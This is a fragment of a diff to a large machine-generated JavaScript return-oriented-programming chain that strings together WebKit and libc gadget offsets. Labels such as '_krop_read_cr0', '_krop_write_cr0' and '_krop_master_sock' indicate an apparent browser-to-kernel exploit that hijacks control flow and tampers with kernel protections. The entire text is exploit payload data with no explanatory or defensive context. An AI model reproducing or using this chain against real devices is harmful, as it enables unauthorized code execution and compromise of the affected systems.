webkit_base+7438103, //mov [rsi], rax -libc_base+788575, //pop rax -//L6002: -ropchain+399856, //_krop_jmp_crash libc_base+792472 //pop rcx ]); -//L6003: +//L5759: db([0, 0]); // 0x0 set_gadgets([ +libc_base+788575, //pop rax +//L5760: +ropchain+399752, //_krop_jmp_crash webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L6004: +//L5761: db([4294967264, 4294967295]); // -0x20 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+322616, //L6008 +ropchain+318816, //L5765 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+322600, //L6007 +ropchain+318800, //L5763 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6007: +//L5763: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6008: +//L5765: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+322760, //L6011 +ropchain+318960, //L5768 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+322728, //L6009 +ropchain+318928, //L5766 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+322744, //L6010 +ropchain+318944, //L5767 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6009: +//L5766: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6010: +//L5767: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6011: +//L5768: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -43757,39 +42920,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+322840, //L6013 +ropchain+319040, //L5769 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6013: +//L5769: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6012: +//L5770: db([662384, 0]); // 0xa1b70 set_gadget(libc_base+206806,); //pop rdi -//L6014: +//L5771: db([662384, 0]); // 0xa1b70 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+322976, //L6015 +ropchain+319176, //L5772 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+323008, //L6017 +ropchain+319208, //L5774 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+322992, //L6016 +ropchain+319192, //L5773 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6015: +//L5772: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6016: +//L5773: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6017: +//L5774: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -43800,61 +42963,61 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+323104, //L6019 +ropchain+319288, //L5775 webkit_base+7438103, //mov [rsi], rax -libc_base+788575, //pop rax -//L6018: -ropchain+398712, //_krop_read_cr0 libc_base+792472 //pop rcx ]); -//L6019: +//L5775: db([0, 0]); // 0x0 set_gadgets([ +libc_base+788575, //pop rax +//L5776: +ropchain+398512, //_krop_read_cr0 webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L6020: +//L5777: db([4294967264, 4294967295]); // -0x20 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+323240, //L6024 +ropchain+319440, //L5781 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+323224, //L6023 +ropchain+319424, //L5779 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6023: +//L5779: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6024: +//L5781: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+323384, //L6027 +ropchain+319584, //L5784 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+323352, //L6025 +ropchain+319552, //L5782 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+323368, //L6026 +ropchain+319568, //L5783 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6025: +//L5782: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6026: +//L5783: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6027: +//L5784: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -43863,39 +43026,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+323464, //L6029 +ropchain+319664, //L5785 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6029: +//L5785: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6028: +//L5786: db([662384, 0]); // 0xa1b70 set_gadget(libc_base+206806,); //pop rdi -//L6030: +//L5787: db([662384, 0]); // 0xa1b70 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+323600, //L6031 +ropchain+319800, //L5788 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+323632, //L6033 +ropchain+319832, //L5790 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+323616, //L6032 +ropchain+319816, //L5789 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6031: +//L5788: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6032: +//L5789: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6033: +//L5790: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -43906,61 +43069,61 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+323728, //L6035 +ropchain+319912, //L5791 webkit_base+7438103, //mov [rsi], rax -libc_base+788575, //pop rax -//L6034: -ropchain+399768, //_krop_read_cr0_2 libc_base+792472 //pop rcx ]); -//L6035: +//L5791: db([0, 0]); // 0x0 set_gadgets([ +libc_base+788575, //pop rax +//L5792: +ropchain+399664, //_krop_read_cr0_2 webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L6036: +//L5793: db([4294967264, 4294967295]); // -0x20 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+323864, //L6040 +ropchain+320064, //L5797 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+323848, //L6039 +ropchain+320048, //L5795 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6039: +//L5795: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6040: +//L5797: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+324008, //L6043 +ropchain+320208, //L5800 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+323976, //L6041 +ropchain+320176, //L5798 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+323992, //L6042 +ropchain+320192, //L5799 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6041: +//L5798: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6042: +//L5799: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6043: +//L5800: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -43969,39 +43132,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+324088, //L6045 +ropchain+320288, //L5801 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6045: +//L5801: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6044: +//L5802: db([662393, 0]); // 0xa1b79 set_gadget(libc_base+206806,); //pop rdi -//L6046: +//L5803: db([662393, 0]); // 0xa1b79 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+324224, //L6047 +ropchain+320424, //L5804 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+324256, //L6049 +ropchain+320456, //L5806 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+324240, //L6048 +ropchain+320440, //L5805 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6047: +//L5804: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6048: +//L5805: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6049: +//L5806: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -44012,27 +43175,27 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+324352, //L6051 +ropchain+320536, //L5807 webkit_base+7438103, //mov [rsi], rax -libc_base+788575, //pop rax -//L6050: -ropchain+398744, //_krop_write_cr0 libc_base+792472 //pop rcx ]); -//L6051: +//L5807: db([0, 0]); // 0x0 set_gadgets([ +libc_base+788575, //pop rax +//L5808: +ropchain+398544, //_krop_write_cr0 webkit_base+2997875, //mov [rax], rcx libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+324424, //L6053 +ropchain+320608, //L5809 webkit_base+7438103, //mov [rsi], rax -libc_base+788575 //pop rax +libc_base+792472 //pop rcx ]); -//L6052: +//L5809: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L6053: +set_gadget(libc_base+788575,); //pop rax +//L5810: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -44041,7 +43204,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L6054: +//L5811: db([2, 0]); // 0x2 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -44050,7 +43213,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L6055: +//L5812: db([28, 0]); // 0x1c set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -44058,8 +43221,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L6057: -ropchain+324624, //L6056 +//L5814: +ropchain+320824, //L5813 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -44067,8 +43230,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+392664, //L5892 -//L6056: +ropchain+396232, //L5649 +//L5813: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -44076,29 +43239,29 @@ db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+324712, //L6060 +ropchain+320896, //L5815 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6058: -db([4294967260, 4294967295]); // -0x24 -set_gadget(libc_base+792472,); //pop rcx -//L6060: +//L5815: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5816: +db([4294967260, 4294967295]); // -0x24 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+324792, //L6062 +ropchain+320976, //L5818 webkit_base+7438103, //mov [rsi], rax -libc_base+788575 //pop rax +libc_base+792472 //pop rcx ]); -//L6061: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L6062: +//L5818: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L5819: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -44107,7 +43270,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L6063: +//L5820: db([2, 0]); // 0x2 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -44116,7 +43279,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L6064: +//L5821: db([28, 0]); // 0x1c set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -44124,8 +43287,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L6066: -ropchain+324992, //L6065 +//L5823: +ropchain+321192, //L5822 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -44133,8 +43296,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+392664, //L5892 -//L6065: +ropchain+396232, //L5649 +//L5822: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -44142,85 +43305,85 @@ db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+325080, //L6069 +ropchain+321264, //L5824 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6067: -db([4294967256, 4294967295]); // -0x28 -set_gadget(libc_base+792472,); //pop rcx -//L6069: +//L5824: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5825: +db([4294967256, 4294967295]); // -0x28 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L6070: +//L5827: db([4294967256, 4294967295]); // -0x28 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+325224, //L6074 +ropchain+321424, //L5831 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+325208, //L6073 +ropchain+321408, //L5829 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6073: +//L5829: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6074: +//L5831: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+325392, //L6077 +ropchain+321592, //L5834 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+325408, //L6078 +ropchain+321608, //L5835 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+325360, //L6075 +ropchain+321576, //L5832 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+325376, //L6076 +ropchain+321560, //L5833 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6075: +//L5833: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6076: +//L5832: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6077: +//L5834: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6078: +//L5835: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+325504, //L6080 +ropchain+321704, //L5837 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+325488, //L6079 +ropchain+321688, //L5836 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6079: +//L5836: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6080: +//L5837: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -44229,10 +43392,10 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+792472 //pop rcx ]); -//L6081: +//L5838: db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L6082: +//L5839: db([8, 0]); // 0x8 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -44243,209 +43406,189 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+325720, //L6084 +ropchain+321920, //L5841 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+325736, //L6085 +ropchain+321936, //L5842 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+325704, //L6083 +ropchain+321904, //L5840 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6083: +//L5840: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6084: +//L5841: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6085: +//L5842: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+325832, //L6087 +ropchain+322016, //L5843 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+325848, //L6088 +ropchain+322048, //L5845 webkit_base+7438103, //mov [rsi], rax -libc_base+788575, //pop rax -//L6086: -ropchain+399216, //_krop_master_sock libc_base+792472 //pop rcx ]); -//L6087: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L6088: -db([0, 0]); // 0x0 -set_gadgets([ -webkit_base+2997875, //mov [rax], rcx -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L6089: -db([4294965204, 4294967295]); // -0x82c -set_gadget(libc_base+792472,); //pop rcx -//L6091: +//L5843: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+325960, //L6093 -webkit_base+7438103, //mov [rsi], rax -libc_base+792472 //pop rcx +libc_base+788575, //pop rax +//L5844: +ropchain+399016, //_krop_master_sock +libc_base+206806 //pop rdi ]); -//L6092: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L6093: +//L5845: db([0, 0]); // 0x0 set_gadgets([ -webkit_base+954100, //mov [rax], ecx +webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6094: -db([4294965200, 4294967295]); // -0x830 -set_gadget(libc_base+792472,); //pop rcx -//L6096: +//L5846: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5847: +db([4294965204, 4294967295]); // -0x82c set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+326072, //L6098 +ropchain+322160, //L5850 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6097: +//L5849: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6098: +//L5850: db([0, 0]); // 0x0 set_gadgets([ webkit_base+954100, //mov [rax], ecx libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6099: -db([4294965196, 4294967295]); // -0x834 -set_gadget(libc_base+792472,); //pop rcx -//L6101: +//L5851: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5852: +db([4294965200, 4294967295]); // -0x830 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+326184, //L6103 +ropchain+322272, //L5855 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6102: +//L5854: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6103: +//L5855: db([0, 0]); // 0x0 set_gadgets([ webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+326240, //L6106 +ropchain+322328, //L5857 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6106: +//L5857: db([0, 0]); // 0x0 -//L6104: +//L5856: set_gadgets([ libc_base+793877, //pop rsi -ropchain+326304, //L6109 +ropchain+322376, //L5859 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6107: -db([4294965196, 4294967295]); // -0x834 -set_gadget(libc_base+792472,); //pop rcx -//L6109: +//L5859: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5860: +db([4294965200, 4294967295]); // -0x830 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+326408, //L6112 +ropchain+322496, //L5864 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+326392, //L6111 +ropchain+322480, //L5862 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6111: +//L5862: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6112: +//L5864: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+326576, //L6115 +ropchain+322664, //L5867 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+326592, //L6116 +ropchain+322680, //L5868 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+326544, //L6113 +ropchain+322648, //L5865 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+326560, //L6114 +ropchain+322632, //L5866 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6113: +//L5866: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6114: +//L5865: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6115: +//L5867: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6116: +//L5868: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+326664, //L6117 +ropchain+322752, //L5869 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+326680, //L6118 +ropchain+322768, //L5870 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6117: +//L5869: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6118: +//L5870: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+326776, //L6120 +ropchain+322864, //L5872 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+326760, //L6119 +ropchain+322848, //L5871 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6119: +//L5871: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6120: +//L5872: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -44454,39 +43597,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+326856, //L6122 +ropchain+322944, //L5873 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6122: +//L5873: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6121: +//L5874: db([512, 0]); // 0x200 set_gadget(libc_base+206806,); //pop rdi -//L6123: +//L5875: db([512, 0]); // 0x200 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+326992, //L6124 +ropchain+323080, //L5876 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+327024, //L6126 +ropchain+323112, //L5878 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+327008, //L6125 +ropchain+323096, //L5877 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6124: +//L5876: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6125: +//L5877: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6126: +//L5878: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -44499,147 +43642,147 @@ webkit_base+14959219, //cmp rax, rcx ; sete al webkit_base+48555, //setl al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+327192, //L6128 +ropchain+323280, //L5880 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+327208, //L6129 +ropchain+323296, //L5881 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+327176, //L6127 +ropchain+323264, //L5879 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6127: +//L5879: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6128: +//L5880: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6129: +//L5881: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+327312, //L6132 +ropchain+323400, //L5884 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+327360, //L6134 +ropchain+323448, //L5886 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+327344, //L6133 +ropchain+323432, //L5885 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6132: +//L5884: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L6131: +//L5883: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6133: +//L5885: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6134: +//L5886: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+327472, //L6135+8 +ropchain+323560, //L5887+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+327464, //L6135 +ropchain+323552, //L5887 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L6135: +//L5887: db([0, 0]); // 0x0 set_gadgets([ -ropchain+327488, //L6135+24 -ropchain+327504, //L6130 +ropchain+323576, //L5887+24 +ropchain+323592, //L5882 libc_base+811575, //pop rsp -ropchain+327520, //L6136 -//L6130: +ropchain+323608, //L5888 +//L5882: libc_base+811575, //pop rsp -ropchain+330792, //L6137 -//L6136: +ropchain+326880, //L5889 +//L5888: libc_base+793877, //pop rsi -ropchain+327576, //L6140 +ropchain+323648, //L5890 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6138: -db([4294965204, 4294967295]); // -0x82c -set_gadget(libc_base+792472,); //pop rcx -//L6140: +//L5890: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5891: +db([4294965204, 4294967295]); // -0x82c set_gadgets([ libc_base+547636, //add rax, 